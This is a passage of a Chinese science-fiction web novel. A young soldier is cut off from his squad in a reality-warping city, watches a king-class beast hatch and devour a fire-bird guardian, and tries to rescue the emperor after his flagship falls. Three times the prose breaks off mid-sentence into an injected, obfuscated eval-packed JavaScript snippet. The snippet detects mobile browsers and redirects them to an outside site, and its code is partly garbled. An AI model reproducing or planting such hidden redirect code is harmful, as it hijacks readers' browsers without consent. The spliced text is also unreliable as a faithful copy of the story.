良久,才有人思索着开口:“得知道的吧……老大,你说那个人被污染得那么明显,总程序监察细节的能力那么强,怎么可能发现不了这些人的异常。总程序肯定知道,上面也知道,只是上面不在乎这个,这次一共派了十八个大组,就是趟雷都要趟出个名堂,搞清楚这里面究竟是怎么回事。而且前两个支援组一来就进去了,上面的态度肯定很急,这到底是只什么样的编织者事关重大,所以我们不仅得进,还得尽快进!” 坎特雷因停下了脚步,这话说到了他的心坎上。他就是再不愿意承认,上面估计也就是这样想的。 他沉默了足足有十分钟,期间没有任何人说话。而后他猛地一点头,“好!我们进,现在就进!” “但是我们绝对不能这样没准备地就一头撞进去。这里面的诡异,估计会棘手到不可思议的地步,我们得做些特殊的准备。” 坎特雷因一招手,就有人挤开人群上前,双手抱着满满一摞什么东西。看起来,他其实心里一早就做好了要速进的准备。 “想来那个人说的环境会随时变化起码不是骗我们的,这意味着里面要找路,或者摸清方位,肯定难如登天,所以我们也必须要预防有人会走散、掉队。” “这是纳米机器人组成的绳子,极细,极轻,戴上根本感受不到它的存在,而且坚韧得不可思议。”他从那个人怀里拿出一根黑色的细线,高举示众,“而且最重要的是,组成绳子的纳米机器人一直在实时进行‘编织’,绳子会根据距离自动改变长度,它会不停地自己编织自己,最长能达到一千米,戴上它,不会对战斗有任何阻碍。” “进入核心后,我要求每个人都系上这种绳子,力求做到不要有任何一个人掉队。在这样的地方走散,大概率就会永远留在里面。能做到么?” 阿龙迦和其他所有年轻人都取过黑线,系在身上。 一千多个年轻人的声音叠加起来,回答坎特雷因:“能!” …… “侦查1组,报告情况。” “前方无异常。周围环境表现为普通街道,凡三百米内无异常,无生命信号。” “这里就像是一座普通的城市,甚至保存得还十分完好,没有破败的痕迹,只是看不到任何人烟。” 阿龙迦正身处侦查1组的队员之间,紧贴着墙匍匐前进。 如组长所说,他们正置身于一条细长的街道上,周围高楼参差,镜面外墙闪闪发亮,他们沿着延展的墙面小心前进。 这座城市中,一切陈设都是完好的,丝毫不像其他战场上的废墟,这里万物都不曾凋敝,静悄悄的,像是时间被凝固在了污染降临的一瞬间。 只是没有人烟。 这座城市的原住民也许都逃出去了,这能理解,可是后面陆续进入的几千个战士,也不见踪影,同时城中也没有任何战斗的痕迹。 “所有的痕迹都被抹去了么?”阿龙迦心想。 组长的报告声再次响起,“已手动记录我们目前已经经过的所有岔路口。期间已尝试再次向外界发出信息,第四次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126993|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失败。” “收到。大部队正紧跟在你们身后,小心前进。其他组也会继续尝试向外界发出信息,工程兵已在尝试恢复通讯。” 留守说的没错,和外界的通讯果然在进来的那一瞬就被切断,无论怎样呼叫,或者呼叫任何外界对象,对面都只是一片寂静的空白。 但是目前为止,他们还没遇到任何留守口中的地形变幻,所以仍只是小心地前进。 “报告大队,出现新情况。前面出现十字路口,重复,前面出现十字路口。” “询问大队长,侦查1组该选择哪一侧?直走和左拐都是相似的楼房布局,右侧路口则出现新景象,似乎是……一处墓园。” 从右侧的路口,隐隐约约看去,黑色的铁栅栏高耸,墓园的铁门紧闭。园中有苍白的墓碑林立。 频道中,传来坎特雷因沉吟的声音:“左侧或者直走吧,还是先避免路过这种有可能存在危险的特殊地点。” “好的,已记录,侦查1组即将在第7个岔路口左转。” 侦查1组的成员小心地前进。阿龙迦处在一个不前不后的位置,细细的黑色丝线连接前后的人,根据两人之间的距离自动“编织”缩短或者伸长,轻得完全没有重量,确实毫不影响行动。 前方的队员一个一个拐过了弯,拐弯时,依然紧贴着墙壁。动作小心谨慎到极点。 而后他们的身影又一个一个被左拐的墙角吞没、挡住,没有传来任何的警示,黑线也规律地起伏波动,人们安全地转过那个位于视觉盲区的拐角,后面的人放下心来。 “依次左拐。” “去吧,龙雷。别害怕,他们会在那边接应你的。” 组长位于阿龙迦身后,拍了拍阿龙迦的肩膀。自从阿龙迦加入了她的小组,这位侦查组长便颇为关照看起来还只是个少年的阿龙迦。 阿龙迦点点头,然后也紧贴着墙壁上前。 黑色细线稳定地一起一伏、一起一伏。 阿龙迦转过了那个弯,他的左手还紧紧贴着墙面,可是转过去的瞬间,阿龙迦敏锐地觉察到了不对。 有东西很不对! 左手下的墙壁材质变了! 那本来是延展的黑色镜面幕墙,可只是一个短短的瞬间,他连目光都没有移开,那面黑色的墙角就在他的目光下变为了深灰色的花岗岩! 阿龙迦迅速抬头。 一切都不一样了。 他本来是在十字路口选择了左向转弯。按理说,转过去后,十字路口就应该已经被他抛在身后了。可是现在阿龙迦拐了那个弯,可在他的面前,还是一个巨大的十字路口! 一个新的十字路口! 这个十字路口附近,都是低矮的连栋楼房,大约三层高,灰色的花岗岩外层,小洋房的设计,阳台上有石刻的外饰拱顶。和他原来所处的那个地方景色截然不同。 他根本不在原地了,只是转了一个弯,周围的景色天翻地覆,他忽然就不知道来到相隔十万八千里的哪个地方去了。 阿龙迦迅速查看四周,他察觉到了一个更糟糕的情况,糟糕到极点: 他和其他人走散了。 周围荒无人烟。没有侦查1组,没有跟在他们身后的大部队。 坎特雷因预料的没错,真的出现了掉队的情况,而且出现得令人完全猝不及防。 阿龙迦猛地低头去看系在手腕上的黑色细线,它没有断,延伸出去,仍然在规律地波动起伏。 像是它的另一端依然连着什么人。 细线贴着墙壁,微微颤动,沿着墙壁左拐,一直延伸到看不见的左侧。 阿龙迦大步上前,再次左拐,转过了那个弯! 当那个画面映入他眼中时,他也不由得失语,沉默停下: 黑色细线的另一端,赫然系在一根黑铁的路灯上。 街面上有卷地的风,每次有风吹过,它就上上下下地颤动。 任谁站在这里,都要被一股静寂的悚然所吞没。 这是怎样的一股力量,它扭曲现实轻易得就像打了一个响指。 几秒之前,这跟黑色细线的另一端还系在他的队友身上,一瞬之后,他就与黑线一起,来到了一个全新的地方。 34. 34 爬出地心深渊 就在阿龙迦一筹莫展之际,小组频道中,忽然刺啦刺啦地响起: “有人吗?有人吗!我是侦查1组组长李清如,我在经过十字路口时,周围环境突然变幻,导致与队伍失散!请求救援,有人吗……” 阿龙迦清楚记得组长李清如在经过转角时,是走在他的后面,看来不只是他被转移到了一个完全陌生的地点,这件事情也同样发生在了李清如的身上。 “组员龙雷收到!我也遭遇了相同的情况,在转过墙角的瞬间就来到了另一个截然不同的十字路口,这里的地形标志,是成片的三层灰色连栋楼房,”阿龙迦抓紧时间迅速说话,通讯似乎高度不稳定,“请描述你所在地点的特点,我会想办法与你汇合!” 通讯那头的李清如似乎已经失败了许多次,完全没有料到会有人真的回应:“啊,小龙!你也……滋滋……我处在一个有七栋……滋滋……的地方……你别……” 阿龙迦的神色冷下去。通讯在李清如尝试说出地点的瞬间噪音暴涨,然后被直接切断,无论他再怎么联系,也无人回应了。他早就应该知道,这个地方既然把所有人都分开了,就绝对不会让他们有机会联系,甚至告诉彼此所在地。 也许刚才在李清如那一头,他说出的地址也只是一段被消音的“滋滋”声。 既然他和李清如都在拐弯的那一瞬间经历了“环境变幻”,那么有理由怀疑所有人在通过那里时,都被分散到了不同的地方。 更甚之,一支上千人的队伍就这样被完全打散。 就算不是那个转角,也会是落单在别的地方。 这才是留守口中“环境变幻”的真正意思,其实也许不是真的环境变了,而是人一定会随机在这座城中“走失”,去到截然不同的地方。 至此,所有人都已成为孤零零的个体,哪怕遇到一丁点异状,都会被一击即溃。 但是有一个很严重的问题。一片巨大的阴影在阿龙迦心中笼罩。 “人一定会随机在城中走失”,这种规则层面的能力,而且还是在这样大的范围中成为一道规则,区区一只编织者能做得到么? 那个念头在他心中缓缓成型。阿龙迦猜到了一种可能。 他感到一种微微的颤栗,他终于知道,为什么那么多人都没能走出去了,甚至至今还滞留在此。 因为这里不只有一只编织者,这里甚至还已经形成了一片异土。 一座城市大小的异土! 而这个异土必然有一条规则是: 【凡进入此地者,必被孤立于众】 如果真是这样的话。一方异土,叠加一只盘踞的编织者。而所有人都被规则强行分开无法聚集,这里简直是降世的地狱。 就在他疯狂思考对策,甚至开始考虑要不要强迫自己精神崩溃,从而进入那种“特殊状态”的时候,机甲的警报忽然响了。 “凡三百米内出现异常造物!警告,凡三百米内出现异常造物!” 警报的声音极其尖锐,像刺刀贯脑。刺耳程度甚至能和S091出现时媲美,这意味着极高的威胁等级,和优先度。 阿龙迦猛地抬头。 在他视野的尽头,那栋三层高的花岗岩洋房顶上,一只烈火般的鸟随意地降落。 看见那只鸟的瞬间,他的双目狠狠一刺,虹膜都仿佛被灼烫。 他不由自主地闭了下眼睛,眼球表面瞬间溢出薄薄的一层生理泪水。 “开启视觉防护。” 数层防护在眼前叠加。他调出了夸父的保护状态,才能勉强再次直视那只鸟。 这次他看清楚了,不是像,那只鸟就是由烈火构成的。 通体形态都像是一团火焰,轮廓不定,随着火焰飘摇。 它的身躯上流动着一种灿烂的金色,像是电焊时那种亮得刺目的火花之瀑,又像是正午直视中天的阳光。亮得不可思议。 火鸟在那栋小洋房上跳来跳去,就像是一只普通的小鸟。 可是阿龙迦知道,它就是那个引起极度危险警报的异常造物。他试着朝它走了几步,离得越近,警报声愈发刺耳。 实体?还是异兽? 他对这种形态的实体毫无印象,要么它是一个全新的实体,但人类三千年征战,这个概率太小了; 要么,它是一只异兽。 如果是异兽的话…… 阿龙迦的目光成倍地狞亮起来,那目光简直凶厉如毒龙,如果有人看见,一定会骇得后退。 如果是异兽的话,编织者的影响范围内不可能再有其他的异兽,那是它的领土,它威能覆盖之地,绝不容许它人侵犯。 所以……这只能是编织者自己! 阿龙迦像一卷赤雷般向前,他绝不能让编织者走掉!想要解决他们目前的困境,有一条上上之策: 先解决掉编织者! 没了它的威胁,以及那种鬼神莫测的现实扭曲能力,他们就有余力能探索这片异土,摸清规则,然后走出去! 火鸟跳了跳,似乎感受到了他的接近,展开烈火的双翼,向前滑翔而去。 阿龙迦再次开启了异化状态,奔跑起来像一卷流影,一道贯穿长空的闪电,可是火鸟比他要快! 火鸟飞起来迅急如长虹,轻飘飘的,像天边的一抹流云红霞。 该死!要跟丢了!阿龙迦已经到达了他速度的上限,而夸父的异化时间还远没有到达四十五分钟,他当前的身体素质根本跟不上火鸟! 火鸟轻得像是没有重量,一团火焰哪里有重量?它的姿态之轻迅,像一片赤色的云气贯日。 就要失去火鸟的踪迹的时候,一件意想不到的事情却发生了。 火鸟忽然停下,盘旋不前……简直像是在等阿龙迦一样! 阿龙迦抓紧这个空挡,迅速拉近他们二者的距离,可等他再接近到一定范围内,火鸟又再次振翼向前! 阿龙迦心中疑虑顿起。 如此往复了几次,他甚至故意停下,站在原地不再前进,这种时候红鸟居然也会低徊不前,或者盘旋,或者降落在楼顶。 阿龙迦终于确定。 火鸟确实在等他。不仅如此,它还在引导他去一个明确的目的地。 去不去? 他似乎没有选择。 他,和这座城市内的数千人,现在的处境似乎是个死结。现在他终于从这个死结中找到了一个线头,哪怕冒着天大的风险,哪怕知道可能万死无生,他也得去。 如此跟着火鸟前进了三十分钟,眼前出现了一片开阔的广场,幢幢的大厦拔地而起。 火鸟终于停下,落在一栋几十层的高楼顶上,无论阿龙迦怎么接近,都不飞走了。 阿龙迦转过大厦。 眼前豁然开朗。 他在一片巨大的广场上,白石铺地,一条大道从正中间剖开。 大道的两侧,是相对而出的两栋巨型大厦,左右照应,有如孪生。 两栋大厦之上,悬浮着一轮无以言表的巨物。 第一眼,阿龙迦看到的是一个圈。一轮完满的大圈。这个无与伦比的巨圆,正在熊熊燃烧着,它的圆弧上腾起金色的光焰,光明如海,海量的阳光像瀑布一样倾泻到地面。 在这宏大的光明中,阿龙迦双眼一片空白,近乎目盲。 直到很久之后,他才逐渐地适应了这无穷的光明。此时,他才终于能隐约地看出那个巨圆是什么东西。 那不是一个圈,那是一轮首尾相接的鸟。有许多许多只,每一只都和引导阿龙迦的那只火鸟相似,通体火焰般燃烧,流淌着耀眼的金色,它们依次衔着彼此的尾巴,首尾相接,展翅飞翔,形成了一个巨大的火鸟之轮。 这个巨轮,每时每刻都在缓慢地轮转,仿佛暗合着万物的节律。没有任何力量支撑着它,违背一切物理定律的,这个巨轮就像悬浮一样挂在天空之中。 一道金光像长虹般划破天际,落在大厦顶上的那只火鸟闪电般射过。 这里就是它要引导阿龙迦来的地方了,它的目标已经达到,所以此刻,它回归了那轮大圆,像一簇火焰投入火海,光明更炽了,普照天空。 也是在这一刻,阿龙迦终于数清楚了火鸟的个数,带上它,一共有十二只。 十二只火鸟,形成一圈空境之轮。 这就是盘踞这座城市的编织者。 坎特雷因得到的消息没错。确实是衔尾之鸟。 和通常认知中狰狞恐怖的异兽不同,它显得森严而神圣,高悬在这座城市的上空,十二只金色的火鸟首尾相接,在大地上投射下灿烂的光辉,往复循环,不停轮转,隐隐透露出某种宗教意味。 有如永悬之日。 阿龙迦谨慎地向它靠近。可走到一半,他忽然停下了。 在它正下方的那片白色广场上,阿龙迦终于找到了之前进入这里的人。所有人! 这两千多号人稀稀疏疏地站在广场上,仿佛是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126994|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住附近来这里散步的居民,可是他们太寂静了,也太僵硬。每个人都像雕塑一样,双脚生根地站在原地,面容呆滞,如出一辙地抬起头,仰望太阳。 不是真的太阳,而是那轮十二只火鸟组成的永悬之日。 这些人的机甲都不翼而飞,肉身暴露在外,脸庞干枯,业已肉眼可见得虚弱脱水了。可是没有一个人在乎,所有人的脸上都有一股恍惚甚至梦幻的神情,目光朦胧地抬着头,一动不动,像是古埃及人礼敬太阳。 阿龙迦也抬起头,可是眼前还是那轮永悬之日,没有任何画面,也没有事情发生。 不,还是有事情发生的,当他注视太阳的时候,太阳似乎也感受到了他的注视......太阳缓缓地下降! 那轮巨大的火鸟之圈真的缓缓下坠,从大厦的顶端坠到屋顶再坠到楼中间,像是太阳西沉,向他靠近! 海量的光明滚滚下坠。太大了,有海浪般的气流沿着地面向四方排开。 阿龙迦就要急退出去,太阳忽然说话了,他左顾右盼找不到声源后,终于确定是那轮大圆在跟他说话,十二只鸟,却只有一个声音,它们加起来是一只异兽。 火鸟之圈说:“你来晚了。” 这个声音直接在他心中响起,没有语言,像是一个念头那样自然而然地浮现出来。 阿龙迦猛地抬头,“什么意思?是你在跟我说话么?” 火鸟之圈还是说:“你来晚了。” 阿龙迦只觉得一股巨大的茫然掺和着怒意撞到上颚,一只异兽,一只编织者异兽,在自己的能力范围内跟他说话了,说的还是这样完全无厘头的东西,他听不懂,可是又隐隐约约的似乎透着某种不好的异象,可他完全被蒙在鼓里。 “你什么意思?什么叫我来晚了?” “我感受到了你……可是你来晚了。这件事,已经完成了。我的使命,也已经完成。” “什么事?这件事是指什么事?你的使命又是什么东西?” 火鸟之圈叹息,“指的是……这” 火鸟之圈似乎还没说完,但是它说出“这”的一瞬间,一阵悠长得似乎来自远古的响声忽然从大地深处传来,地面开始像海浪一样起伏涌动,仿佛大地的脊骨在剧烈翻身,泥土和石板在这一刻也变得像液体,烈度达到十级地震般的震颤,仿佛大地板块在地心深处在猛烈地挤压、挤压,再挤压!把一切都挤得粉碎! 下一秒,大地塌了。 像是蛛网一样。最开始的时候,只是一个点,火鸟之圈正下方的那个点,而后像有巨人在大地之下用铁砧捶打,一声撼天动地的“咔”声,开裂的纹路像深黑色的巨网,在极短的一瞬中,蔓延向四面八方。 大地板块开始往下坠落,一块块地翻转、开裂,暴露出内部漆黑的深渊。 风声像一声从远古传来的巨吼,四面都像有巨大的古乐器在轰鸣,声潮如海,人脑所不能理解的声音中,一个山岳般的轮廓从塌陷中升起。 那是一个巨大的头颅,它从塌陷中升起的瞬间,就猛地张开血盆大口,一口咬住了火鸟之圈!火鸟之圈像一个磨牙的玩具一样消失在它口中。这样巨大的头颅,它还有二十三个。 一道金光从天边而至,有一只火鸟脱离了火鸟之圈,迅速撞向了阿龙迦,快得他根本来不及反应! 像被流星当头砸中,他被撞出了几百米之外,却违反现实的没有受伤。当他落出广场的瞬间,他附近的环境就开始变幻。 他在被转移出去! 环境变换只需要一秒钟,再次稳定时,他已处在城市边缘。 可隔着这一整座城市,他还是能看见那里在发生什么。 那个无边的巨物终于挣脱了大地对它的束缚,像是雏鸟挣脱蛋壳的同时,将蛋壳也破碎为粉末,城市的中心完全坍塌,高楼大厦向大地的窟窿中纷纷倾倒。 破碎的城市中,一道遮盖天空和大地的影子,逆着天幕升起。 那也是一只鸟。无法想象怎样的构成能支撑起那样庞大到无边的身躯,它像是一片升起的大陆,浓厚的阴影被投在它的身下,它仰天长啸,有狰狞可怖的二十四首,九百九十翼托举污秽天空。 在大地塌陷的瞬间,警报就像是完全坏掉了那样不停地报警。 可不需要任何警告,也不需要任何提醒,阿龙迦就已经认出来了。 从地心中诞生的,是一只君王级异兽。随着整个世界的破碎,它踩着断裂的大地之骨降临。 35. 35 天幕的火雨 巨鸟般的君王级异兽在天空里展翼长嘶,九百九十翼同展,臃肿得像张开双翼的蛾子。 二十四首凌乱地向天扬起,每一个头颅都是不同的长相,像无尽的藤蔓。 刚才发生的一切像长卷流动,在阿龙迦的脑海中迅速闪回。 灵光跳跃,他就要从中摸到蛛丝马迹。 这些问题依次浮现: 编织者说的“使命”是什么? 君王级异兽诞生后的第一件事,为什么是立马吞吃编织者? 为什么一座城市中汇集了如此多异状,编织者,异土,下面还压着一只君王级异兽? 自然形成么?不可能吧? 所有事情的细节向他拆解开来。 像一抹闪电划过漆黑的夜空,火苗幽幽地腾起,一切的事情在阿龙迦脑海中都串联了起来。 因果顺序错了。 不是这里汇集了那么多异兽; 而是一切,都是为了孕育出这只君王级异兽而来。 这座城中所有的一切,都是为君王级异兽准备的一场献祭。 异状纷纷而来,是因为一开始,就有一只幼生期的君王级异兽在大珠星的地心中孕育。 也许大珠星受到污染的原因正是在此,君王级与生俱来的巨大精神场侵蚀了大珠星。 它沉睡地之上的这座城市污染得尤其严重,污染度高到,已经开始形成异土。 它抽干了行星地核中的能量诞生。可是,是谁把这只君王级放在大珠星地心的?谁手上能有一颗君王级的卵? 编织者,那轮“火鸟之圈”,说自己的使命已经完成,阿龙迦曾经质问它的使命是什么?现在他明白了,火鸟之圈的使命就是献祭。 它盘踞在此,就是为了等待君王级异兽的诞生,然后被它吞噬,使它迅速成为完全体。 异兽之间的彼此吞噬,可以迅速提高它们的等级,完成力量的兼并融合。所以尽管在战场上它们成群出现,但那是因为人类在它们攻击的最高优先级上,一旦所有人类死尽,很可能下一秒它们就会开始彼此吞吃,直到诞生一只等级最高的污染种。 所以这个迷雾般吞没了数千个人类战士的城市,其实只是为君王级异兽造出的一个摇篮,让它安然沉睡。 “火鸟之圈”守护着此地,扭曲现实,使它不会被人类提前察觉。 在君王级异兽苏醒后,它就开始尽自己最后的作用,以血肉献祭,使君王迅速成熟。 这件事,让阿龙迦感到了一股汗毛倒竖的恶寒……这还是第一次,污染种在战场上表现出高度的狡诈,或者说,显现出了某种“计谋性”。 什么时候,异兽之间也会开始合作了? 而且在那一瞬间,还有一个令人不寒而栗的可怖想法从他心底蹦出来: 既然大珠星上的诸多异常,甚至被污染都是因为地心中孕育着一个君王级异兽,那么其他的三颗居民星呢? 比如小珠星战场,显然也异象频出,他们只是执行了一个最简单的救援任务,一路上发生了多少异常情况?意外折损了多少队友?普通的污染星上有这么多“意外”发生吗? 这些会不会是因为……这三颗居民星中,也孕育着君王级异兽? 更甚者,有没有可能这个星系中,所有行星出现污染的原因,都是整颗星球被君王级异兽寄生了? 就在阿龙迦这么想的时候,天亮了。 这不是说黑夜变为了白昼,事实上现在就是白天,而是字面意义上的,天空,忽然“亮了”。 阿龙迦猛地抬头。 那亮光来自于天空中的两个点。 在天幕中,有两个圆点突然绽放出了耀眼的火光,像是白天忽然浮现出了火色的星辰,它们的亮度在阳光中都肉眼可见。这两个圆点的尺寸,都要比太阳稍大。 然后这两个圆点忽然猛地爆开,变成一团灼目的光亮,有一层肉眼可见的巨大冲击波发散出去。 隔着这样遥远的距离,都能看见一束束迸射而出的火流。 不知道的人可能以为那是流星或者什么天外的飞行物,可是阿龙迦在刚来到大珠星战场的时候,就拿它头顶的这片星空和星野对比过,他心里再清楚不过,那两个方向,恰好就是另外两颗居民星的方向,一点点偏移都没有,分别是:小珠星,和3号变星! 那两颗居民星上一定有什么事情发生了! 阿龙迦紧紧地盯着天空。个人频道中,突然响起了滴的一声。 而后,从个人频道中传来了一则让人毛骨悚然的广播: “请全体人员注意!就在刚刚,因不可抗因素,小珠星与3号变星同时发生了坍缩解体,现在各战场上所见到的‘星星’,是它们爆炸前留下的最后的余晖。截止宇宙时间14分20时7秒,因爆炸余波,小珠星与3号变星战场上的人员,已全部因公牺牲。 达摩克里斯最终判定程序,在此表示沉重的哀悼。向离去者致敬。” “同时,总程序通告全体人员:一个小时后,小珠星与3号变星解体形成的残骸群,就将抵达星系中的其他居民星,在极短的时间内,它们将撞击行星地表,毁灭上面残存的一切生态。 请全体人员迅速从各大战场上撤离,重复,请全体人员迅速从各大战场上撤离,并有序返回星舰。我们将临时驶离北冕座v1星系,以最低限度地降低损失。” 阿龙迦无意识地紧紧握住双手,指甲深深地陷入手掌中。 看来他的猜想没有错。 显然,小珠星和3号变星中,也存在着君王级异兽。 以阿龙迦的经验来看,很可能是它们孵化时没有发育完全,所以它们直接将整个行星的地核能量抽干了,破壳而出的瞬间,行星就像干瘪的果实那样破裂,向内坍缩,最后完全瓦解。 那么现在已知的三颗居民星上,已经孵化了整整三只君王级异兽,没理由剩下的一颗居民星没被寄生。 所以按最坏的打算,现在这片星系中,起码有四只君王级同时存在。 四只君王级污染种同时出现!在历史中,这是从未出现过的事情。 天幕中传来雄浑的嘶吼声,只是听着就让人脑袋欲裂。 阿龙迦的余光中,那只多首多翼的巨鸟似乎终于学会了怎么飞翔,它直直地朝天空中飞去,头也不回,似乎立马就要突破星球之外,进入太空,对这颗星球上数万的人类完全不理睬。 阿龙迦心中猛地一跳,不对。 这绝不是君王级异兽正常的行为,本性会让他们毁灭目所能及的一切人类,根本不存在“放过”和“不理睬”这一说……除非此刻,在它的眼中,有什么更重要、更不惜一切的东西。 星空中,有什么? 星空中有他们成建制的舰队,有剩下许多正在待命的同胞,可是星空中和地面上的人类有什么区别?为什么一定要先去毁灭星空中的人类?他一时想不通。而且那里还有最先进的星舰武器,相比起来难道不是踩死星球表面上的人更容易? 除非,星空中有什么特殊的人在,有谁必须死,为此它们悍不畏死,不惜一切! 那个名字从心中浮上来的瞬间,阿龙迦浑身的血都凉了下去。他的背后像是有几千几万个鬼魅攀附而上,整个人沉得要坠到地面下去了。这一刻,他仿佛真真切切地置身地狱之中。 星空中,确实有一个特殊的人。 站在污染种的角度,他必须死。 死这一个人,也许比起死十万百万的战士,对人类而言的后果更严重。 群龙之首,众狮之王,这片星空之上,端坐着人类的皇帝。 此刻陈寂就在那艘太阳船之中,居高临下,却对什么即将袭来毫不知情。 异兽什么时候有了如此强的目标性和组织性?什么时候连“刺王杀驾”的陷阱都学会了? 狂乱的心绪在胸中拔起,千头万绪,千丝万缕,可这一切都来不及再想。 阿龙迦迅速接入通讯,可是直到这一刻他才深刻地意识到他只是个小小的新兵,虽然说是什么护卫长,可根本没来得及转正,以他的权限,在这一瞬竟然不足以找到任何信息渠道,直达皇帝的耳边,这一刻他所能做的极致,就是向子程序报告他推测的信息,然后再由子程序转为申报最终判定程序。 可他连向子程序都尚未报告完,却已经来不及了。 有一件事情他猜对了,确实有四只君王级异兽同时存在,这个星系中的每一个居民星,都寄生着它们的卵。 但是另一件事情,他却猜错了,那就是这四只君王级异兽根本不需要“进入”星空,或进入宇宙范围,才能发起他们的攻击。他们根本不需要冒着被星舰集火的危险! 在那只巨鸟飞到变为一个黑点的时候,它忽然长长地嘶叫一声,一股巨大的波动随着震颤传来。 像是有一个无与伦比的力场被施加在空间中,大地出现了一个令人心跳停止的震动,站在地面上的所有人都踉跄了一下,几乎摔倒。 这一刻,大珠星的自转停止了。而后整颗星球表面,潮汐狂涌,淹没天际。 君王级天赋·牵引力场,发动! 这本来只是君王级异兽作为一个族群的领袖,带领族群进行深空航行之时,为了保证航道的集中,使用的一种约束力场。 换句话说就是,这种牵引力的准头非常差,不可能准确的瞄准,也无法如臂指使,只有一个大致的范围。 阿龙迦的心脏像濒死一样缓慢地跳动……可是如果这个牵引力的方向,由四只君王级同时操纵呢? 那也许就能如同射日之弓吧? 阿龙迦听见自己的心跳声,一下、两下,像擦动苍老的木鼓。 在牵引力场发动之后数秒,他就知道异兽们已经成功了。 它们花费漫长的时间瞒天过海,在军队的眼皮底下孵化,到这一刻,终于功成。 巨鸟发出一声雀跃的长嘶。阿龙迦心里确定了,像最后一块巨石落地。 太阳之舟,陨落了! 这一刻什么也来不及说,什么也来不及讲了,也似乎再没有什么可做。 阿龙迦仰起头,看见有小型的残片开始进入大珠星的大气层,在大气层上迸出绚丽的火流,漫天都是滚滚的浓烟。 忽然,这一幕像灵光在无边的黑暗中划过,阿龙迦的脑海中,有最后的一个念头,唯一的一个念头在闪烁。 如果太阳之舟坠落……只会像这些残片一样,被引力拉向,最近的大珠星! 而他从心底坚信,太阳之舟上一定有严密的防护措施,陨落不会对它上面的人造成致命打击! 还有生还的可能! 果然如他所料!数分钟之后,有一道火流星般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126995|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“陨石”擦过大气层,阻力已经将它挤压成面目全非的形状,可阿龙迦还是认出来了! 那是——太阳之舟! 它坠落在地平线之下,目不能及的地方。阿龙迦在它坠落的一瞬间就标记了它的方位,他知道那四只君王级异兽会在第一时间赶去那里,确保万无一失,确保陈寂真的死了。 所以,要快!要比四只君王级异兽都快!要赶在所有人之前找到陈寂! 而根据他所有的经验和记忆,只有一种办法,能达到这个目标。 他来到一处山丘之上,仰望天空,目光似乎透过了重重大气,望向星空中那个以全部星舰为载体的最终程序: “呼叫最终判定程序,我是龙旗舰的护卫长龙雷,目前身处大珠星战场,位于代号-编织者任务的范围中。 在此之前,我已被最高机甲执行所,测试为特型000-钟山之神的第二起源适格者。 我已自发观测发现太阳之舟的坠落,为了紧急救援,我申请临时赋予我起源机甲的驾驶权限,并请求总程序,将特型000-钟山之神空投至大珠星战场!” 子程序没有沉默多久,就转答了最终程序的回复: “权限已处在审核中。” 然后驾驶舱内,他面前就弹出了一个猩红色的弹窗: 【注意!】 【当前申请,需要总舰队长及以上级别的授权!】 就要来不及了!阿龙迦的理智摇摇欲坠之时,却忽然想到了一个人。 他迅速拨通个人频道,联系坎特雷因:“坎特雷因,你还活着么?!我有极度紧急的事情需要跟你们总舰队长通话!” “还活着……啊,什么?总舰队长?你等等,”坎特雷因的声音慌乱地在那一头响起,却被阿龙迦暴力打断。 “什么都别问,来不及解释了,你现在联络你们总舰队长的通讯,告诉他‘阿龙迦’三个字!让他自己来接我的个人频道说话!”阿龙迦分享过去自己的个人频道。 很快,似乎只用了几十秒,一个电流音就在阿龙迦的个人频道中响起。 是唐璜的声音,还是那个冷漠的声线,这次却有了微微的起伏:“你从哪里知道‘阿龙迦’这个名字的?不……应该问,你跟他到底有什么关系?” “以我的红发和红瞳来说,你觉得我和他是什么关系?”阿龙迦根本没时间费这个口舌,没把话说透,让唐璜自己想象。 “听着,我知道太阳之舟已经陨落,我正在大珠星表面,我现在需……” 出乎意料地,唐璜直接打断了他,“我不管你是怎么知道这件事的,但是这些事情,和你没有关系。这件事发生的瞬间,已经有绝密部队出发去救援,这种事情,最忌有人浑水摸鱼,以你的权限,这件事和你没有任何关系。” “绝密部队?你是想说出动了起源适格者小队是吧,”阿龙迦冷冷一笑,“可如果我是第二起源适格者,能驾驶特型000-钟山之神呢?有哪一具起源机,能够和特型000相提并论?” 唐璜被他噎了一下,声音顿住了。“你到底想说什么?” 阿龙迦目光像火焰一样直视天空,他知道,在无穷云天之后,那位年轻的白发军官正借着总程序的眼睛审视着他。 “我想说的是,如果阿龙迦还活着,那么他一定会去救陈寂。” “即便陈寂杀了他?” “即便陈寂杀了他。” “你……”唐璜的声音第一次涌现出了疲倦,“那么你要做什么?” 